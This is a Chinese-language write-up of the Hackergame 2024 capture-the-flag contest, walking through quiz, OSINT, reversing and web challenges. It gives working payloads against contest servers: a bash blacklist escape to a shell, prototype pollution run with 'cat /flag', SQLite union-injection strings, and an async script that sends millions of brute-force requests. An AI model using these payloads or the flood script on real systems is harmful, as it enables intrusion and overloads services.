Hackergame 2024 Writeup
Lysithea 48th 5250
签到
http://202.38.93.141:12024/?pass=true
喜欢做签到的 CTFer 你们好呀
先找到他们招新的官网:https://www.nebuu.la/ (意外找了挺 久,从比赛主页-承办单位进)
打开是个伪终端,功能实现还挺全的,虽然知道都是写好的JS,骗骗自己而已
env
里有一个,然后ls -al
可以看到个.flag
,cat .flag
是另一个。
还有个解法是去逆向JS,有几个很长的base64解一解就出来了。
猫咪问答(Hackergame 十周年纪念版)
Hackergame的问答题目有一点好(或者不好),就是它提交答案是不限提交间隔的。偏偏它还出一大堆纯数字的题,这不是明摆着教人爆破嘛。
总之先拍个爆破脚本在这里:
import requests
from bs4 import BeautifulSoup
sess = requests.session()
sess.cookies.set('session', os.environ.get('TOKEN',''), domain='202.38.93.141')
HOST = 'http://202.38.93.141:13030/'
ans = {
'q1': '3A204',
'q2': '2682',
'q3': '程序员的自我修养',
'q4': '336',
'q5': '',
'q6': '',
}
TARGET = 'q6'
resp = sess.post(HOST, data = ans)
bench_score = int(BeautifulSoup(resp.text, 'lxml').select_one('.alert').text.split('。')[0].split('为 ')[1])
for i in range(0, 6000):
ans[TARGET] = str(i)
resp = sess.post(HOST, data = ans)
score = int(BeautifulSoup(resp.text, 'lxml').select_one('.alert').text.split('。')[0].split('为 ')[1])
if score > bench_score:
print('correct', i)
break
else:
print('wrong', i)
Q1: 在 Hackergame 2015 比赛开始前一天晚上开展的赛前讲座是在哪个教室举行的?
首先去找历届Hackergame新闻,能找到他们中科大Linux用户协会的历年活动记录,不过很可惜Hackergame赛前讲座没有到第一届的。不过上面有个第三届的【链接已失效】,于是就去web of archive上找了一下,结果找到了2017年失效之前的网页内容。3A204
Q2: 众所周知,Hackergame 共约 25 道题目。近五年(不含今年)举办的 Hackergame 中,题目数量最接近这个数字的那一届比赛里有多少人注册参加?
虽然我知道Github全找一遍就行,但是太累了,MD跟他爆了!
Q3: Hackergame 2018 让哪个热门检索词成为了科大图书馆当月热搜第一?
能让检索词成为第一的只能是猫咪问答了,所以去看了一下当年和图书馆有关的题
在中国科大图书馆中,有一本书叫做《程序员的自我修养:链接、装载与库》,请问它的索书号是?
打开中国科大图书馆主页,直接搜索“程序员的自我修养”即可。
Q4: 在今年的 USENIX Security 学术会议上中国科学技术大学发表了一篇关于电子邮件伪造攻击的论文,在论文中作者提出了 6 种攻击方法,并在多少个电子邮件服务提供商及客户端的组合上进行了实验?
首先要找到是哪篇论文《FakeBehalf: Imperceptible Email Spoofing Attacks against the Delegation Mechanism in Email Systems》。然后稍微读一下文章即可(或许也有种办法是搜一下数字)。目标在第6节的开头,All 20 clients are configured as MUAs for all 16 providers via IMAP, resulting in 336 combinations (including 16 web interfaces of target providers).
Q5: 10 月 18 日 Greg Kroah-Hartman 向 Linux 邮件列表提交的一个 patch 把大量开发者从 MAINTAINERS 文件中移除。这个 patch 被合并进 Linux mainline 的 commit id 是多少?
这个事是个大新闻,所以跑得快报道的媒体肯定很多,随便搜了一个,里面就有commit的截图。
Q6: 大语言模型会把输入分解为 一个一个的 token 后继续计算,请问这个网页的 HTML 源代码会被 Meta 的 Llama 3 70B 模型的 tokenizer 分解为多少个 token?
似乎是可以去Huggingface上找那个tokenizer.json,但是下载好像要申请权限。不过无所谓,既然是纯数字,那跟它爆了!
打不开的盒
给了个stl模型文件,用blender导入之后,以网格模式查看,发现盒子中间有些节点很明显是flag的形状。于是只要把盒子外边的顶点在编辑模式下全删了就行。当然即使全删了,还需要人眼OCR。
每日论文太多了!
下载论文之后,用Acrobat搜索flag,发现停在了一个神奇的图片后面(甚至看不见光标),用编辑模式把图片挪开就拿到flag了。
我更加震惊的是,期刊/会议发表论文居然可以这么藏私货的吗。
比大小王
看得出来是想neta小猿口算
总之是一个比大小的题,要10秒内做100道。一开始服务端会把所有题目以json形式送过来,然后我们就可以在devtools控制台里跑个js脚本生成正确答案,就可以秒出了。另外这个题的题目发过来后比赛开始前有个倒计时,抢跑会被发现。
state.inputs = state.values.map((el) => {
let res = '<';
if( el[0] > el[1] ){
res = '>'
}
return res
})
submit(state.inputs)
// flag{I-AM-TH3-hACker-KiN9-0f-CoMP@RIN9-numbeRs-Z0Z4}
旅行照片
我知道这个OSINT挺放水的了,但是我就是弱OSINT,怎么办嘛
Q1: 科里科气

问题 1: 照片拍摄的位置距离中科大的哪个校门更近?(格式:X校区Y门,均为一个汉字) 问题 2: 话说 Leo 酱上次出现在桁架上是……科大今年的 ACG 音乐会?活动日期我没记错的话是?(格式:YYYYMMDD)
这个算是把标志性建筑摆脸上了,百度地图随便搜一下就出。这个地方在中校区和东校区之间,一共就几个门,遍历一下就出(而且门的名字只能有一个字,也排除了一些)
ACG音乐会的话,首先搜B站视频是不准的,因为基本不可能存在当天就放出演出视频的情况(总得剪辑的)。最好的方法是搜社团公号或者微博,因为这种二次元活动一定是会有通知宣传的。
Q2: 两张景点照片


问题 3: 这个公园的名称是什么?(不需要填写公园所在市区等信息) 问题 4: 这个景观所在的景点的名字是?(三个汉字)
右边是个标志性景点,google lens可以出,是宜昌坛子岭观
左边从垃圾桶的小字 上隐隐约约能看到是六安,于是在六安市的公园,再加上有跑步道,树还挺多。多试了几次就能知道是中央森林公园。
Q3: 铁路俯视图

糟了,三番五次调查学长被他发现了?不过,这个照片确实有趣,似乎有辆很标志性的……四编组动车?
问题 5: 距离拍摄地最近的医院是?(无需包含院区、地名信息,格式:XXX医院) 问题 6: 左下角的动车组型号是?
不会捏。四编组动车搜了一下新闻说是广州广清那里有引进,但是那么长的铁路也没找到和图片里特征相似的。
不宽的宽字符
题目给的程序把输入路径从wchar_t*
直接强转成char*
了,不用说这是一种极其抽象的行为,因为宽字节数组包含单个0字节的时候不会被截断,但是char*
会。所以即使程序在我们的输入后面添加了许多垃圾内容,只需要一个null byte就全部无效了。
可以用这个:
s = b'Z:\\theflag\x00\xbb'
if len(s) % 2 == 1:
s = s + b'\x00'
print(s.decode('utf-16'))
# 㩚瑜敨汦条묀
# flag{wider_char_isnt_so_great_bc8e1de5e2}
PowerfulShell
黑名单比较严格的一个bash逃逸。从结果来看能用的字符只有:$+-123456789:=[]_``{|}~
。为了做出这个题,需要至少知道这么几件事:
- 一部分bash特殊变量:
$-=hB
包含当前终端的输出模式,$_=input
是上一个引用的变量名 - 在没有后缀的情况下,
~
会展开为家目录。但我们可以用变量赋值__=~
取消这个限制。这个很重要,因为我们只能通过这个方式拿到一个s
${-:1:1}
可以取子字符串。虽然0在黑名单里,但要取第一个字符可以${-::1}
这三点少一点应该就完全做不出来。属于是做出来脑子想穿,做不出来大腿拍烂。
__=~
${__:7:1}${-::1}
Node.js is Web Scale
直球考prototype pollution的。总之打开网页后上下分别填__proto__.eee
和cat /flag
添加后,直接访问/execute?cmd=eee
就行
PaoluGPT
给源码的SQLite注入,比较送。不过值得注意的是这个题没有藏表,所有flag全在文章内容里,所以得写代码遍历。虽然flag2是在隐藏文章里需要注入才能找到,但是flag1不需要注入的明显更难找,大隐隐于市了。
总之做个备忘,SQLite主表是sqlite_master
,直接存的是表名和sql语句,所以不用爆列名了。
/view?conversation_id=1' union select name,sql from sqlite_master limit 1 offset 0--
' union select title,contents from messages limit 1 offset %s--
强大的正则表达式
正则编程题,只能用数字小括号星号和数线,最大字符限制1000000。时间有限就只做了第一问。求16的模。因为16*625=10000
,所以只要把后四位的情况遍历一下就行了。注意小于10000前面没有0,要单独处理
惜字如金 3.0
沟槽的xzrj还在追我
第一问没什么好说,就是确保你理解了这套变换规则的。
第二问的CRC函数大小写信息被抹掉了。这个变化会影响结果,所以可以本地爆破出来。
首先说明一下,提交到网站上的文件如果包括错误的行,会返回你的行对应的hash(而不会暴露服务端的)。如果hash一致但内容错了,爆出的是你的文件里最后一个错误的字符。如果hash恰好和其他行一致(传错行了),那么也会指明。
def crc(input: bytes) -> int:
poly, poly_degree = 'B', 48 # 这里少了48个B或b
assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == 'B'
flip = sum(['b', 'B'].index(poly[i + 1]) << i for i in range(poly_degree))
digest = (1 << poly_degree) - 1
for b in input:
digest = digest ^ b
for _ in range(8):
digest = (digest >> 1) ^ (flip if digest & 1 == 1 else 0)
return digest ^ (1 << poly_degree) - 1
def hash(input: bytes) -> bytes:
digest = crc(input)
u2, u1, u0 = 0xdbeEaed4cF43, 0xFDFECeBdeeD9, 0xB7E85A4E5Dcd
assert (u2, u1, u0) == (241818181881667, 279270832074457, 202208575380941)
digest = (digest * (digest * u2 + u1) + u0) % (1 << 48)
return digest.to_bytes(48 // 8, 'little')
首先观察一下crc算法。第一步是用那个大小写未知的poly变量构造一个48位的整数flip
,一一对应。之后用flip
处理输入。从一个全1数开始,每次读入一个字节和最低字节异或,然后右 移一位,根据最低位的情况是否和flip异或,重复8次,开始处理下一个字符。这个选择异或的过程是可逆的(假设flip最高位为1,可以通过最高位的情况预测是走哪个分支)。但对flag2没有帮助(对flag3可能有)。但是通过构造一个特定的输出可以让这个函数稳定返回~flip
,即FFFFFF
+ 全0 + 80
。
然后就是第二个hash函数,是2**48
模意义下做了个二次函数运算。因为模是合数所以这个乘法是不可逆的,不太确定非质数模意义下二次函数求根公式还有没有意义。总之我是taichi写了个gpu kernel爆算的。这竟然是我第一次写taichi。在和range
不支持64位整数这件事斗争很久后,写出了这段东西:
import taichi as ti
# export LD_LIBRARY_PATH="/usr/lib/wsl/lib:${LD_LIBRARY_PATH}"
ti.init(arch=ti.gpu, default_ip=ti.i64)
target_f = 'answer_c.py'
u2, u1, u0 = (241818181881667, 279270832074457, 202208575380941) if target_f == 'answer_b.py' else (246290604621823, 281474976710655, 281474976710655)
target_hash = 229418662089585
if target_f == 'answer_c.py':
poly, poly_degree = 'CcccCCcCcccCCCCcCCccCCccccCccCcCCCcCCCCCCCccCCCCC', 48
assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == 'C'
flip = sum(['c', 'C'].index(poly[i + 1]) << i for i in range(poly_degree))
@ti.kernel
def calc_hash(hash: ti.u64) -> ti.u64:
''
u1_ = ti.u64(u1)
u2_ = ti.u64(u2)
result = ti.u64(0)
for i_high in range(0x1000, 0x1000000):
for i_low in range(0x1000000):
digest = ti.u64(i_high) * 0x1000000 + ti.u64(i_low)
hash_res = (digest * (digest * u2_ + u1_)) & 0xffffffffffff
if hash == hash_res:
result = digest
print(f"result: {digest}")
if (i_low % ti.u64(0x100000) == 0) and (i_high % ti.u64(0x100000) == 0):
print(f"status: {i_high // 0x100000} {i_low // 0x100000}")
return result
flip_inv = calc_hash((target_hash - u0 + 2**48) % (2 ** 48))
print(f"result: {flip_inv}")
只要上线请求一组那个对应~flip
的hash,然后拿到这里爆算就行了。在我的4060上把结果跑出来大概十几分钟。
flag3前半部分用相同办法可以爆出poly,但是hash里的u2,u1,u0里的大小 写未知,并且这个是不影响运行结果的。因为拿不到任何服务端hash的信息,所以只能在线爆破了。hash的取值空间是2**48
,但是这一行所有输入的取值空间是2**32
。每次提交能检查的行数等于文件原行数97,所以我们最多爆2**32 // 97 + 1 == 44278014
次。似乎刚好在爆破允许的边缘。
我用httpx
写了个超快的异步并发算法。我在两个不同设备上跑两份这个代码可以发现请求速度明显变慢了,说明已经到达服务端的饱和吞吐量(或者至少是我们这个校园网带宽的最大吞吐量),不用做多线程优化了。目前这个算法是一轮触发100个请求,期间请求失败就立刻重新请求,所有请求全部成功后进入下一轮。我知道这个会导致一些轮空的机制,但我发现把这个100改大之后反而跑的更慢了,我觉得我这边快没用,带宽和服务端那边得能顶得住才行。那么这样大概是44万轮,按第一天的速度1秒一轮的话,大概总共用时5.09天……似乎有戏?(然后第二天服务器就降速了,用时翻了2-3倍,呃呃)
虽然我知道一般CTF比赛都是禁止在线爆破的。我还特意看了眼比赛规则,没提这个事
template = " u2, u1, u0 = 0xDFFFFFFFFFFF, 0xFFFFFFFFFFFF, 0xFFFFFFFFFFFF "
ind_0 = template.index("xDF") + 3
ind_1 = template.index("xF") + 2
ind_2 = template.rindex("xF") + 2
ind_mask = list(chain(range(ind_0, ind_0 + 10), range(ind_1, ind_1 + 11), range(ind_2, ind_2 + 11)))
def num_to_target_line(num):
num_bin = f"{num & 0xffffffff:032b}".replace('0','F').replace('1','f')
req_str = list(template)
for i, bit in enumerate(num_bin):
req_str[ind_mask[i]] = bit
return ''.join(req_str)
client = httpx.AsyncClient()
client.cookies.set('session', TOKEN, domain = '202.38.93.141')
async def req_hash_async(num_iter):
# construct body
body = "\n".join([num_to_target_line(i) for i in num_iter]) + "\n"
HOST = f'http://202.38.93.141:19975/{target_f}'
while True:
try:
resp = await client.post(HOST, data=body)
resp_json = resp.json()
break
except httpx.ConnectTimeout:
continue
except json.JSONDecodeError:
if (resp.status_code == 502) or (not resp.text):
continue
print(f"json: {resp.text}")
continue
except (KeyboardInterrupt, SystemError):
raise
except Exception as e:
if str(e) and str(e) != 'All connection attempts failed':
print(f"unknown exception: {str(e).encode()}")
continue
if resp.status_code in (400, 200):
for k,v in resp_json['wrong_hints'].items():
if 'Unmatched hash' in v:
continue
else:
print(f"possible result: {body.splitlines(keepends=False)[int(k) - 1], v}")
else:
# unlikely
print(f"unlikely: {num_iter, resp.text, body}")
N_LINE = 97
EVENT_BATCH_SZ = 100
import sys
START_BATCH = int(sys.argv[1]) if len(sys.argv)>1 else 0
INTMAX_RES = 2 ** 32 // 97
def task_iter(loop, max_task = 1000, start_task = 0):
for i in range(start_task, max_task):
yield loop.create_task(req_hash_async(range(i*N_LINE, (i+1)*N_LINE)))
loop = asyncio.get_event_loop()
for start_task in tqdm(range(START_BATCH, INTMAX_RES + EVENT_BATCH_SZ, EVENT_BATCH_SZ)):
t_st = time.time()
loop.run_until_complete(asyncio.wait(list(task_iter(loop, start_task + EVENT_BATCH_SZ, start_task))))
t_ed = time.time()
# print(f"Batch {start_task}: duration: {t_ed - t_st} s")
loop.close()